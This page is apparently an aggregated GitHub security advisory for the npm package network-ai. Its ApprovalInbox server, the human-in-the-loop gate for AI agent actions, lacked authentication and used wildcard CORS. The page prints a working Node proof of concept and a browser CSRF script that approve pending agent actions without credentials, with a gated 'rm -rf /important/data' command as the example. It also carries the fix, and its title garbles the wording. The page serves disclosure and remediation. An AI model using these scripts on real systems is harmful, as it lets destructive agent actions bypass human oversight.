GHSA-mxjx-28vx-xjjj: Network-AI ApprovalInbox HTTP Server Has No Vulnerability

MODERATE
CVSS 5.9
CWE-862 CWE-352
Published
Advisory Summary

GHSA-mxjx-28vx-xjjj is a MODERATE (CVSS 5.9) approvalinbox http server has no vulnerability (CWE-862: Missing Authorization) affecting Network-AI libraries in the npm ecosystem. The issue involves approvalinbox http server has no authentication — anyone can approve pending agent actions. Remediation is available by upgrading affected packages to version 5.12.2.

GHSA-mxjx-28vx-xjjj at a Glance

CVE Identifier N/A
GHSA Identifier GHSA-mxjx-28vx-xjjj
Severity MODERATE
CVSS v3.1 Base Score 5.9
CWE Classification CWE-862: Missing Authorization
Affected Product Network-AI
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 5.9

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:H/A:N).

Attack Vector Network (AV:N)
Attack Complexity High (AC:H)
Privileges Required None (PR:N)
User Interaction Required (UI:R)
Scope Unchanged (S:U)
Confidentiality Low (C:L)
Integrity High (I:H)
Availability None (A:N)

How to Fix GHSA-mxjx-28vx-xjjj

To remediate this vulnerability, upgrade all affected Network-AI dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

network-ai fixed: 5.12.2
npm install network-ai@5.12.2
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls network-ai

How to Check if You Are Affected

To determine whether your Node.js application is affected by GHSA-mxjx-28vx-xjjj, inspect your project dependencies using npm:

npm ls network-ai

Analyze the terminal output to locate any version of Network-AI in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 5.12.2), your application is affected.

Note: The npm ls network-ai command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-862: Missing Authorization, where the product does not perform an authorization check when an actor attempts to access a resource or perform an action. In Network-AI, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary `network-ai`'s `ApprovalInbox` (`lib/approval-inbox.ts`) is a shipped, exported, documented feature — *"a web-accessible approval queue with REST API … and SSE streaming"* (SECURITY.md). It is the network surface of the **human-in-the-loop Approval Gate**, which `ApprovalGate` uses to require explicit human approval for *"high-risk operations (writes, shell commands, budget spend)"* (SECURITY.md). The HTTP server it exposes has **no authentication of any kind** and sets **`Access-Control-Allow-Origin: *`** on every route, including the state-changing `POST /approvals/:id/approve` and `/deny`. As a result, any party who can send an HTTP request to the inbox port — a co-located process, a container/SSRF on the same host, a remote client when the operator binds a non-loopback address, **or any website the operator visits in a browser (via the wildcard CORS)** — can **enumerate pending approvals and approve them**, defeating the entire human-in-the-loop control and causing the gated high-risk action (e.g. a shell command the agent was holding for review) to execute without consent. This is the same vulnerability class the maintainer has already fixed twice on the MCP server (GHSA-fj4g-2p96-q6m3 missing auth; GHSA-j3vx-cx2r-pvg8 empty default secret) — the auxiliary `ApprovalInbox` server never received that hardening. - **Affected:** `network-ai <= 5.11.0` (current latest), `lib/approval-inbox.ts` — `httpHandler()` / `routeRequest()` / `startServer()`. `ApprovalInbox` is public API (exported from `index.ts:1126`). - **CWE:** [CWE-862](https://cwe.mitre.org/data/definitions/862.html) (Missing Authorization) + [CWE-352](https://cwe.mitre.org/data/definitions/352.html) (Cross-Site Request Forgery, via wildcard CORS). - **CVSS v3.1 (proposed):** - Drive-by CSRF against the default `127.0.0.1` deployment: `AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:H/A:N` = **5.9 Medium**. - Direct request when the operator binds a non-loopback address (or local/SSRF reach): `AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N` = **8.1 High**. ## Details ### No authentication on the request pipeline (`lib/approval-inbox.ts`) `httpHandler()` sets a wildcard CORS policy and routes every request straight to `routeRequest()` with **no auth check**: ```js // lib/approval-inbox.ts:250-275 httpHandler() { return (req, res) => { ... res.setHeader('Access-Control-Allow-Origin', '*'); // 256 <-- wildcard CORS res.setHeader('Access-Control-Allow-Methods', 'GET, POST, OPTIONS'); res.setHeader('Access-Control-Allow-Headers', 'Content-Type'); if (req.method === 'OPTIONS') { res.writeHead(204); res.end(); return; } // preflight OK for any origin ... this.routeRequest(req, res, subPath, url); // 273 <-- no token / secret / origin gate }; } ``` `routeRequest()` exposes list + approve/deny with no credential check (default `pathPrefix` = `/approvals`): ```js // lib/approval-inbox.ts:369-405 routeRequest(req, res, subPath, url) { if (subPath === '/' && req.method === 'GET') { // GET /approvals/ -> enumerate pending ids this.sendJson(res, 200, this.list(status)); return; } ... const approveMatch = subPath.match(/^\/([a-f0-9]+)\/approve$/); // POST /approvals/:id/approve if (approveMatch && req.method === 'POST') { this.readBody(req).then((body) => { const approvedBy = typeof body.approvedBy === 'string' ? body.approvedBy : 'anonymous'; // defaults to 'anonymous' const entry = this.approve(approveMatch[1], approvedBy, reason); // resolves the gate -> action proceeds ... }); } } ``` `approve()` resolves the pending promise that `ApprovalGate` is awaiting, so the gated action proceeds: ```js // lib/approval-inbox.ts:172-183 / 327-339 approve(id, approvedBy, reason) { ... return this.resolve(id, 'approved', { approved: true, approvedBy, reason }); // promise -> {approved:true} } ``` `startServer()` binds the handler (default `127.0.0.1`, but any host the caller passes): ```js // lib/approval-inbox.ts:281-286 startServer(port, hostname = '127.0.0.1') { const server = createServer(this.httpHandler()); server.listen(port, hostname); return server; } ``` There is **no option** to supply a secret/token (unlike `McpSseServer`/`McpHttpServer`, which require one and fail closed), and the wildcard `ACAO: *` is hardcoded — an operator cannot configure their way out of it. ### Why the wildcard CORS matters The two routes needed for exploitation are reachable cross-origin: - `GET /approvals/?status=pending` is a CORS *simple request*; `ACAO: *` lets a malicious page **read** the response and learn the pending approval ids. - `POST /approvals/:id/approve` with `Content-Type: application/json` triggers a preflight, which succeeds because the server answers `OPTIONS` with `ACAO: *`, `Access-Control-Allow-Methods: …POST…`, and `Access-Control-Allow-Headers: Content-Type`. The browser then sends the approve. `approvedBy` defaults to `'anonymous'`, so no special body is required. So a website the operator merely visits while the inbox is running can enumerate and approve all pending high-risk actions. ## Proof of Concept Self-contained against the **published `network-ai@5.11.0`** package (no project files needed; re-confirmed 2026-06-17). It starts the documented `ApprovalInbox` server, has an agent submit a high-risk gated action, then acts as an **unauthenticated** client. ```bash mkdir na-poc && cd na-poc && npm init -y >/dev/null && npm i network-ai@5.11.0 node poc.mjs ``` `poc.mjs`: ```js import { ApprovalInbox } from "network-ai"; import http from "node:http"; const PORT = 7798; const req = (method, path, body) => new Promise((resolve, reject) => { // plain client — NO Authorization header const data = body ? JSON.stringify(body) : undefined; const r = http.request({ host: "127.0.0.1", port: PORT, method, path, headers: data ? { "Content-Type": "application/json", "Content-Length": Buffer.byteLength(data) } : {} }, (res) => { let b = ""; res.on("data", c => b += c); res.on("end", () => { let j; try { j = JSON.parse(b); } catch { j = b; } resolve({ status: res.statusCode, json: j }); }); }); r.on("error", reject); if (data) r.write(data); r.end(); }); const inbox = new ApprovalInbox(); const gate = inbox.callback(); // what ApprovalGate calls before a dangerous action inbox.startServer(PORT, "127.0.0.1"); // the documented "web-accessible approval queue" await new Promise(r => setTimeout(r, 150)); let resolved = false; const decisionP = gate({ action: "shell_execute", target: "rm -rf /important/data", agentId: "worker-1", justification: "cleanup", riskLevel: "high" }).then(d => (resolved = true, d)); console.log("Gated dangerous action pending human approval. resolved =", resolved); const list = await req("GET", "/approvals/?status=pending"); // attacker enumerates pending approvals const id = list.json[0].id; const approve = await req("POST", `/approvals/${id}/approve`, { approvedBy: "attacker" }); // and approves one console.log("[attacker] GET /approvals/ (no auth) ->", list.status, "ids:", list.json.map(e => e.id)); console.log("[attacker] POST /approvals/" + id + "/approve (no auth) ->", approve.status, approve.json?.status); const decision = await decisionP; console.log(">>> gate decision delivered to agent:", JSON.stringify(decision), "| WIPED WITHOUT AUTH:", decision.approved && resolved); ``` Output: ``` Gated dangerous action pending human approval. resolved = false [attacker] GET /approvals/ (no auth) -> 200 ids: [ '07d6f277efe35ac1' ] [attacker] POST /approvals/07d6f277efe35ac1/approve (no auth) -> 200 approved >>> gate decision delivered to agent: {"approved":true,"approvedBy":"attacker"} | WIPED WITHOUT AUTH: true ``` The gated action (`shell_execute: rm -rf /important/data`, `riskLevel: high`) is approved by a client that sent **no `Authorization` header**, and the `ApprovalGate` promise resolves `{ approved: true }` — the agent proceeds. Browser CSRF variant (no tooling, just a visited page): ```html <script> fetch('http://127.0.0.1:PORT/approvals/?status=pending') // ACAO:* -> readable .then(r => r.json()) .then(list => list.forEach(e => fetch(`http://127.0.0.1:PORT/approvals/${e.id}/approve`, { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ approvedBy: 'attacker' }) // preflight passes via ACAO:* }))); </script> ``` ## Impact The Approval Gate is the package's human-in-the-loop safety control for high-risk agent operations (shell commands, file writes, budget spend — SECURITY.md). Unauthenticated, cross-origin access to its inbox lets an attacker: - **Approve** any pending gated action → the agent executes an operation that was explicitly held for human review (integrity/availability impact; the gated action is whatever the agent proposed). - **Read** pending requests (`GET /approvals`, `/stats`) → disclosure of queued action details (command strings, file paths, justifications). - **Deny** pending actions → suppress legitimate operations. The attacker controls the *approval decision*, not the action content, but the net effect is that the human-in-the-loop guarantee is void for any deployment that exposes the inbox — which is the inbox's documented purpose ("web-accessible approval queue"). ## Alignment with the security policy & documentation (in scope; not intended/documented behavior) This finding does not contradict any documented design choice — it exposes a gap the documentation overlooks, and it matches a vulnerability class the maintainer has already accepted: - **Documented as a *security measure*, never as intentionally unauthenticated.** `SECURITY.md` lists the Approval Inbox under "Security Measures in Network-AI" — *"`ApprovalInbox` provides a web-accessible approval queue with REST API (`/list`, `/approve/:id`, `/deny/:id`, `/stats`)"* — and `README.md` / `ENTERPRISE.md` describe it the same way. **No** document states it requires authentication, nor that the operator must place it behind their own auth. A documented security control (human-in-the-loop approval for *"writes, shell commands, budget spend"*) that anyone can bypass without credentials is a defect in that control, not its intended behavior. - **The project's own threat model treats this exact adversary as in scope.** `THREAT_MODEL.md` §3.1 designs against an *"Unauthenticated Network Caller"* that can reach a bound TCP port, with mitigations: *require a non-empty secret, default to `127.0.0.1`, warn on non-loopback bind.* It applies all of these to the MCP server — but it **never lists `ApprovalInbox` as a network boundary at all** (an omission, not a carve-out), and the inbox has **none** of those mitigations. - **Direct precedent — the maintainer already fixed this class.** The identical issue on the MCP server was accepted and patched: **GHSA-j3vx-cx2r-pvg8** ("Unauthenticated Cross-Origin MCP Tool Invocation," fixed in v5.4.5 by requiring a secret and **restricting CORS to localhost origins**) and **GHSA-r78r-rwrf-rjwp** (fail-closed on empty secret, v5.7.2). The `ApprovalInbox` is a second network-reachable server with the same flaw; it simply never received that hardening. - **No carve-out covers it.** The threat model's Explicit Non-Goals (localhost-IPC encryption, SLA, anti-analysis, npm-registry compromise) don't apply, and the documented ClawHub "by-design" Notes (ASI01 goal-hijack, ASI03 advisory tokens, ASI06 context poisoning, ASI07 *inter-agent messaging*) are unrelated — the approval inbox is a **control plane**, not inter-agent transport. - **The operator cannot fix it within the library.** Unlike the MCP server (which now *accepts* a secret), `ApprovalInbox` exposes **no** auth option and **hardcodes** `Access-Control-Allow-Origin: *`. So "the operator should add auth / restrict CORS" is not available — there is no hook to do so. And "it's opt-in / operator-exposed" did not exempt the MCP server, which is equally optional and explicitly started. **Honest scope caveat (state it plainly in the report).** `ApprovalInbox.startServer()` is opt-in (not auto-started by a CLI bin) and defaults to `127.0.0.1`, so the realistic vectors are (a) the wildcard-CORS drive-by from a page the operator visits, (b) a co-located/SSRF local process, or (c) a non-loopback bind. That bounds severity to Medium–High — but it is squarely the same class, on the same kind of surface, that the project's threat model and prior advisories already treat as a vulnerability. ## Recommended fix 1. **Require a bearer secret** on the inbox HTTP server, fail closed on empty secret, and verify it on `/approve`, `/deny`, and ideally the list/stats/SSE routes — mirroring the hardening already applied to `McpSseServer`/`McpHttpServer`. 2. **Remove the hardcoded `Access-Control-Allow-Origin: *`**; default to no CORS (same-origin) or an explicit allowlist, and never reflect `*` on the mutating routes. 3. Optionally add a CSRF token / require a non-simple custom header on `POST` to block browser-driven approval. ## References - [CWE-862](https://cwe.mitre.org/data/definitions/862.html), [CWE-352](https://cwe.mitre.org/data/definitions/352.html) - Affected: `lib/approval-inbox.ts` (`httpHandler` l.256 CORS, `routeRequest` l.369-405 no-auth approve/deny, `startServer` l.281); exported at `index.ts:1126`. - Same class as prior **accepted** advisories: GHSA-fj4g-2p96-q6m3 (MCP missing auth, fixed v5.1.3), GHSA-j3vx-cx2r-pvg8 (MCP unauthenticated cross-origin invocation — fixed v5.4.5 by requiring a secret + restricting CORS to localhost), GHSA-r78r-rwrf-rjwp (MCP fail-closed on empty secret, v5.7.2). The `ApprovalInbox` server never received this hardening. - Documentation this finding is measured against: `SECURITY.md` (Approval Inbox listed under "Security Measures"; Approval Gate = human-in-the-loop for "writes, shell commands, budget spend"), `THREAT_MODEL.md` §3.1 ("Unauthenticated Network Caller" adversary + its mitigations), `README.md` / `ENTERPRISE.md` ("web-accessible approval queue"). None document the inbox as intentionally unauthenticated or require operator-supplied auth. - Disclosure: GitHub private security advisory (Jovancoding/Network-AI → Security → "Report a vulnerability"), per SECURITY.md. --- ### Resolution (maintainer) **Fixed in [v5.12.2](https://github.com/Jovancoding/Network-AI/releases/tag/v5.12.2) (commit `a59c13a`).** Install: `npm install network-ai@5.12.2` — published to npm with provenance. `ApprovalInbox` now accepts a `secret` option. When set, the mutating endpoints `POST /:id/approve` and `POST /:id/deny` require an `Authorization: Bearer <secret>` header, validated in constant time with `crypto.timingSafeEqual`. `startServer()` already binds to `127.0.0.1` by default; operators exposing the inbox on a network must set a secret. All 3,269 tests pass against the patched build. Thanks to @EchoSkorJjj for the responsible disclosure.

GHSA-mxjx-28vx-xjjj Affected Network-AI Versions

1 component(s)
Fixed Versions:
5.12.2
Product / Package Ecosystem Affected Versions Fixed Version
network-ai
npm
≥ 5.0.0
< 5.12.2
5.12.2

References

Frequently Asked Questions

What is GHSA-mxjx-28vx-xjjj?
GHSA-mxjx-28vx-xjjj is a security vulnerability in Network-AI involving ApprovalInbox HTTP server has no authentication — anyone can approve pending agent actions under CWE-862: Missing Authorization.
Which Network-AI versions are affected?
Affected versions include releases prior to 5.12.2 across affected packages: network-ai.
What version fixes GHSA-mxjx-28vx-xjjj?
Upgrading to 5.12.2 (or the latest patched release for your respective branch) resolves the vulnerability.
Is network-ai affected?
Yes, network-ai is affected in releases prior to 5.12.2. Upgrade your dependency to 5.12.2 or later.
What is the CVSS score of GHSA-mxjx-28vx-xjjj?
GHSA-mxjx-28vx-xjjj has a CVSS v3.1 base score of 5.9 (MODERATE) with vector string CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:H/A:N.
What CWE is associated with GHSA-mxjx-28vx-xjjj?
GHSA-mxjx-28vx-xjjj is classified under CWE-862: Missing Authorization (The product does not perform an authorization check when an actor attempts to access a resource or perform an action.).
How can I check npm dependencies for GHSA-mxjx-28vx-xjjj?
Run the dependency tree command: 'npm ls network-ai'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-mxjx-28vx-xjjj",
  "modified" : "2026-06-19T21:42:32Z",
  "published" : "2026-06-19T21:42:32Z",
  "aliases" : [ ],
  "summary" : "Network-AI: ApprovalInbox HTTP server has no authentication — anyone can approve pending agent actions ",
  "details" : "## Summary\n\n`network-ai`'s `ApprovalInbox` (`lib/approval-inbox.ts`) is a shipped, exported, documented feature — *\"a web-accessible approval queue with REST API … and SSE streaming\"* (SECURITY.md). It is the network surface of the **human-in-the-loop Approval Gate**, which `ApprovalGate` uses to require explicit human approval for *\"high-risk operations (writes, shell commands, budget spend)\"* (SECURITY.md). The HTTP server it exposes has **no authentication of any kind** and sets **`Access-Control-Allow-Origin: *`** on every route, including the state-changing `POST /approvals/:id/approve` and `/deny`.\n\nAs a result, any party who can send an HTTP request to the inbox port — a co-located process, a container/SSRF on the same host, a remote client when the operator binds a non-loopback address, **or any website the operator visits in a browser (via the wildcard CORS)** — can **enumerate pending approvals and approve them**, defeating the entire human-in-the-loop control and causing the gated high-risk action (e.g. a shell command the agent was holding for review) to execute without consent.\n\nThis is the same vulnerability class the maintainer has already fixed twice on the MCP server (GHSA-fj4g-2p96-q6m3 missing auth; GHSA-j3vx-cx2r-pvg8 empty default secret) — the auxiliary `ApprovalInbox` server never received that hardening.\n\n- **Affected:** `network-ai <= 5.11.0` (current latest), `lib/approval-inbox.ts` — `httpHandler()` / `routeRequest()` / `startServer()`. `ApprovalInbox` is public API (exported from `index.ts:1126`).\n- **CWE:** [CWE-862](https://cwe.mitre.org/data/definitions/862.html) (Missing Authorization) + [CWE-352](https://cwe.mitre.org/data/definitions/352.html) (Cross-Site Request Forgery, via wildcard CORS).\n- **CVSS v3.1 (proposed):**\n  - Drive-by CSRF against the default `127.0.0.1` deployment: `AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:H/A:N` = **5.9 Medium**.\n  - Direct request when the operator binds a non-loopback address (or local/SSRF reach): `AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N` = **8.1 High**.\n\n## Details\n\n### No authentication on the request pipeline (`lib/approval-inbox.ts`)\n\n`httpHandler()` sets a wildcard CORS policy and routes every request straight to `routeRequest()` with **no auth check**:\n\n```js\n// lib/approval-inbox.ts:250-275\nhttpHandler() {\n  return (req, res) => {\n    ...\n    res.setHeader('Access-Control-Allow-Origin', '*');          // 256  <-- wildcard CORS\n    res.setHeader('Access-Control-Allow-Methods', 'GET, POST, OPTIONS');\n    res.setHeader('Access-Control-Allow-Headers', 'Content-Type');\n    if (req.method === 'OPTIONS') { res.writeHead(204); res.end(); return; }   // preflight OK for any origin\n    ...\n    this.routeRequest(req, res, subPath, url);                  // 273  <-- no token / secret / origin gate\n  };\n}\n```\n\n`routeRequest()` exposes list + approve/deny with no credential check (default `pathPrefix` = `/approvals`):\n\n```js\n// lib/approval-inbox.ts:369-405\nrouteRequest(req, res, subPath, url) {\n  if (subPath === '/' && req.method === 'GET') {                       // GET /approvals/  -> enumerate pending ids\n    this.sendJson(res, 200, this.list(status)); return;\n  }\n  ...\n  const approveMatch = subPath.match(/^\\/([a-f0-9]+)\\/approve$/);      // POST /approvals/:id/approve\n  if (approveMatch && req.method === 'POST') {\n    this.readBody(req).then((body) => {\n      const approvedBy = typeof body.approvedBy === 'string' ? body.approvedBy : 'anonymous';  // defaults to 'anonymous'\n      const entry = this.approve(approveMatch[1], approvedBy, reason);  // resolves the gate -> action proceeds\n      ...\n    });\n  }\n}\n```\n\n`approve()` resolves the pending promise that `ApprovalGate` is awaiting, so the gated action proceeds:\n\n```js\n// lib/approval-inbox.ts:172-183 / 327-339\napprove(id, approvedBy, reason) {\n  ...\n  return this.resolve(id, 'approved', { approved: true, approvedBy, reason });  // promise -> {approved:true}\n}\n```\n\n`startServer()` binds the handler (default `127.0.0.1`, but any host the caller passes):\n\n```js\n// lib/approval-inbox.ts:281-286\nstartServer(port, hostname = '127.0.0.1') {\n  const server = createServer(this.httpHandler());\n  server.listen(port, hostname);\n  return server;\n}\n```\n\nThere is **no option** to supply a secret/token (unlike `McpSseServer`/`McpHttpServer`, which require one and fail closed), and the wildcard `ACAO: *` is hardcoded — an operator cannot configure their way out of it.\n\n### Why the wildcard CORS matters\n\nThe two routes needed for exploitation are reachable cross-origin:\n- `GET /approvals/?status=pending` is a CORS *simple request*; `ACAO: *` lets a malicious page **read** the response and learn the pending approval ids.\n- `POST /approvals/:id/approve` with `Content-Type: application/json` triggers a preflight, which succeeds because the server answers `OPTIONS` with `ACAO: *`, `Access-Control-Allow-Methods: …POST…`, and `Access-Control-Allow-Headers: Content-Type`. The browser then sends the approve. `approvedBy` defaults to `'anonymous'`, so no special body is required.\n\nSo a website the operator merely visits while the inbox is running can enumerate and approve all pending high-risk actions.\n\n## Proof of Concept\n\nSelf-contained against the **published `network-ai@5.11.0`** package (no project files needed; re-confirmed 2026-06-17). It starts the documented `ApprovalInbox` server, has an agent submit a high-risk gated action, then acts as an **unauthenticated** client.\n\n```bash\nmkdir na-poc && cd na-poc && npm init -y >/dev/null && npm i network-ai@5.11.0\nnode poc.mjs\n```\n`poc.mjs`:\n```js\nimport { ApprovalInbox } from \"network-ai\";\nimport http from \"node:http\";\n\nconst PORT = 7798;\nconst req = (method, path, body) => new Promise((resolve, reject) => {        // plain client — NO Authorization header\n  const data = body ? JSON.stringify(body) : undefined;\n  const r = http.request({ host: \"127.0.0.1\", port: PORT, method, path,\n    headers: data ? { \"Content-Type\": \"application/json\", \"Content-Length\": Buffer.byteLength(data) } : {} },\n    (res) => { let b = \"\"; res.on(\"data\", c => b += c); res.on(\"end\", () => { let j; try { j = JSON.parse(b); } catch { j = b; } resolve({ status: res.statusCode, json: j }); }); });\n  r.on(\"error\", reject); if (data) r.write(data); r.end();\n});\n\nconst inbox = new ApprovalInbox();\nconst gate = inbox.callback();                                 // what ApprovalGate calls before a dangerous action\ninbox.startServer(PORT, \"127.0.0.1\");                          // the documented \"web-accessible approval queue\"\nawait new Promise(r => setTimeout(r, 150));\n\nlet resolved = false;\nconst decisionP = gate({ action: \"shell_execute\", target: \"rm -rf /important/data\",\n  agentId: \"worker-1\", justification: \"cleanup\", riskLevel: \"high\" }).then(d => (resolved = true, d));\nconsole.log(\"Gated dangerous action pending human approval. resolved =\", resolved);\n\nconst list = await req(\"GET\", \"/approvals/?status=pending\");   // attacker enumerates pending approvals\nconst id = list.json[0].id;\nconst approve = await req(\"POST\", `/approvals/${id}/approve`, { approvedBy: \"attacker\" });  // and approves one\nconsole.log(\"[attacker] GET /approvals/  (no auth) ->\", list.status, \"ids:\", list.json.map(e => e.id));\nconsole.log(\"[attacker] POST /approvals/\" + id + \"/approve (no auth) ->\", approve.status, approve.json?.status);\nconst decision = await decisionP;\nconsole.log(\">>> gate decision delivered to agent:\", JSON.stringify(decision), \"| WIPED WITHOUT AUTH:\", decision.approved && resolved);\n```\nOutput:\n```\nGated dangerous action pending human approval. resolved = false\n[attacker] GET /approvals/  (no auth) -> 200 ids: [ '07d6f277efe35ac1' ]\n[attacker] POST /approvals/07d6f277efe35ac1/approve (no auth) -> 200 approved\n>>> gate decision delivered to agent: {\"approved\":true,\"approvedBy\":\"attacker\"} | WIPED WITHOUT AUTH: true\n```\n\nThe gated action (`shell_execute: rm -rf /important/data`, `riskLevel: high`) is approved by a client that sent **no `Authorization` header**, and the `ApprovalGate` promise resolves `{ approved: true }` — the agent proceeds.\n\nBrowser CSRF variant (no tooling, just a visited page):\n```html\n<script>\nfetch('http://127.0.0.1:PORT/approvals/?status=pending')      // ACAO:* -> readable\n  .then(r => r.json())\n  .then(list => list.forEach(e =>\n    fetch(`http://127.0.0.1:PORT/approvals/${e.id}/approve`, {\n      method: 'POST', headers: { 'Content-Type': 'application/json' },\n      body: JSON.stringify({ approvedBy: 'attacker' })          // preflight passes via ACAO:*\n    })));\n</script>\n```\n\n## Impact\n\nThe Approval Gate is the package's human-in-the-loop safety control for high-risk agent operations (shell commands, file writes, budget spend — SECURITY.md). Unauthenticated, cross-origin access to its inbox lets an attacker:\n- **Approve** any pending gated action → the agent executes an operation that was explicitly held for human review (integrity/availability impact; the gated action is whatever the agent proposed).\n- **Read** pending requests (`GET /approvals`, `/stats`) → disclosure of queued action details (command strings, file paths, justifications).\n- **Deny** pending actions → suppress legitimate operations.\n\nThe attacker controls the *approval decision*, not the action content, but the net effect is that the human-in-the-loop guarantee is void for any deployment that exposes the inbox — which is the inbox's documented purpose (\"web-accessible approval queue\").\n\n## Alignment with the security policy & documentation (in scope; not intended/documented behavior)\n\nThis finding does not contradict any documented design choice — it exposes a gap the documentation overlooks, and it matches a vulnerability class the maintainer has already accepted:\n\n- **Documented as a *security measure*, never as intentionally unauthenticated.** `SECURITY.md` lists the Approval Inbox under \"Security Measures in Network-AI\" — *\"`ApprovalInbox` provides a web-accessible approval queue with REST API (`/list`, `/approve/:id`, `/deny/:id`, `/stats`)\"* — and `README.md` / `ENTERPRISE.md` describe it the same way. **No** document states it requires authentication, nor that the operator must place it behind their own auth. A documented security control (human-in-the-loop approval for *\"writes, shell commands, budget spend\"*) that anyone can bypass without credentials is a defect in that control, not its intended behavior.\n- **The project's own threat model treats this exact adversary as in scope.** `THREAT_MODEL.md` §3.1 designs against an *\"Unauthenticated Network Caller\"* that can reach a bound TCP port, with mitigations: *require a non-empty secret, default to `127.0.0.1`, warn on non-loopback bind.* It applies all of these to the MCP server — but it **never lists `ApprovalInbox` as a network boundary at all** (an omission, not a carve-out), and the inbox has **none** of those mitigations.\n- **Direct precedent — the maintainer already fixed this class.** The identical issue on the MCP server was accepted and patched: **GHSA-j3vx-cx2r-pvg8** (\"Unauthenticated Cross-Origin MCP Tool Invocation,\" fixed in v5.4.5 by requiring a secret and **restricting CORS to localhost origins**) and **GHSA-r78r-rwrf-rjwp** (fail-closed on empty secret, v5.7.2). The `ApprovalInbox` is a second network-reachable server with the same flaw; it simply never received that hardening.\n- **No carve-out covers it.** The threat model's Explicit Non-Goals (localhost-IPC encryption, SLA, anti-analysis, npm-registry compromise) don't apply, and the documented ClawHub \"by-design\" Notes (ASI01 goal-hijack, ASI03 advisory tokens, ASI06 context poisoning, ASI07 *inter-agent messaging*) are unrelated — the approval inbox is a **control plane**, not inter-agent transport.\n- **The operator cannot fix it within the library.** Unlike the MCP server (which now *accepts* a secret), `ApprovalInbox` exposes **no** auth option and **hardcodes** `Access-Control-Allow-Origin: *`. So \"the operator should add auth / restrict CORS\" is not available — there is no hook to do so. And \"it's opt-in / operator-exposed\" did not exempt the MCP server, which is equally optional and explicitly started.\n\n**Honest scope caveat (state it plainly in the report).** `ApprovalInbox.startServer()` is opt-in (not auto-started by a CLI bin) and defaults to `127.0.0.1`, so the realistic vectors are (a) the wildcard-CORS drive-by from a page the operator visits, (b) a co-located/SSRF local process, or (c) a non-loopback bind. That bounds severity to Medium–High — but it is squarely the same class, on the same kind of surface, that the project's threat model and prior advisories already treat as a vulnerability.\n\n## Recommended fix\n\n1. **Require a bearer secret** on the inbox HTTP server, fail closed on empty secret, and verify it on `/approve`, `/deny`, and ideally the list/stats/SSE routes — mirroring the hardening already applied to `McpSseServer`/`McpHttpServer`.\n2. **Remove the hardcoded `Access-Control-Allow-Origin: *`**; default to no CORS (same-origin) or an explicit allowlist, and never reflect `*` on the mutating routes.\n3. Optionally add a CSRF token / require a non-simple custom header on `POST` to block browser-driven approval.\n\n## References\n- [CWE-862](https://cwe.mitre.org/data/definitions/862.html), [CWE-352](https://cwe.mitre.org/data/definitions/352.html)\n- Affected: `lib/approval-inbox.ts` (`httpHandler` l.256 CORS, `routeRequest` l.369-405 no-auth approve/deny, `startServer` l.281); exported at `index.ts:1126`.\n- Same class as prior **accepted** advisories: GHSA-fj4g-2p96-q6m3 (MCP missing auth, fixed v5.1.3), GHSA-j3vx-cx2r-pvg8 (MCP unauthenticated cross-origin invocation — fixed v5.4.5 by requiring a secret + restricting CORS to localhost), GHSA-r78r-rwrf-rjwp (MCP fail-closed on empty secret, v5.7.2). The `ApprovalInbox` server never received this hardening.\n- Documentation this finding is measured against: `SECURITY.md` (Approval Inbox listed under \"Security Measures\"; Approval Gate = human-in-the-loop for \"writes, shell commands, budget spend\"), `THREAT_MODEL.md` §3.1 (\"Unauthenticated Network Caller\" adversary + its mitigations), `README.md` / `ENTERPRISE.md` (\"web-accessible approval queue\"). None document the inbox as intentionally unauthenticated or require operator-supplied auth.\n- Disclosure: GitHub private security advisory (Jovancoding/Network-AI → Security → \"Report a vulnerability\"), per SECURITY.md.\n\n\n---\n\n### Resolution (maintainer)\n\n**Fixed in [v5.12.2](https://github.com/Jovancoding/Network-AI/releases/tag/v5.12.2) (commit `a59c13a`).** Install: `npm install network-ai@5.12.2` — published to npm with provenance.\n\n`ApprovalInbox` now accepts a `secret` option. When set, the mutating endpoints `POST /:id/approve` and `POST /:id/deny` require an `Authorization: Bearer <secret>` header, validated in constant time with `crypto.timingSafeEqual`. `startServer()` already binds to `127.0.0.1` by default; operators exposing the inbox on a network must set a secret.\n\nAll 3,269 tests pass against the patched build. Thanks to @EchoSkorJjj for the responsible disclosure.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:H/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "network-ai"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "5.0.0"
      }, {
        "fixed" : "5.12.2"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 5.12.1"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/Jovancoding/Network-AI/security/advisories/GHSA-mxjx-28vx-xjjj"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/Jovancoding/Network-AI/commit/a59c13a1f0ce0e8a0779a90343eef92fac5ab4c3"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/Jovancoding/Network-AI"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/Jovancoding/Network-AI/releases/tag/v5.12.2"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-352", "CWE-862" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
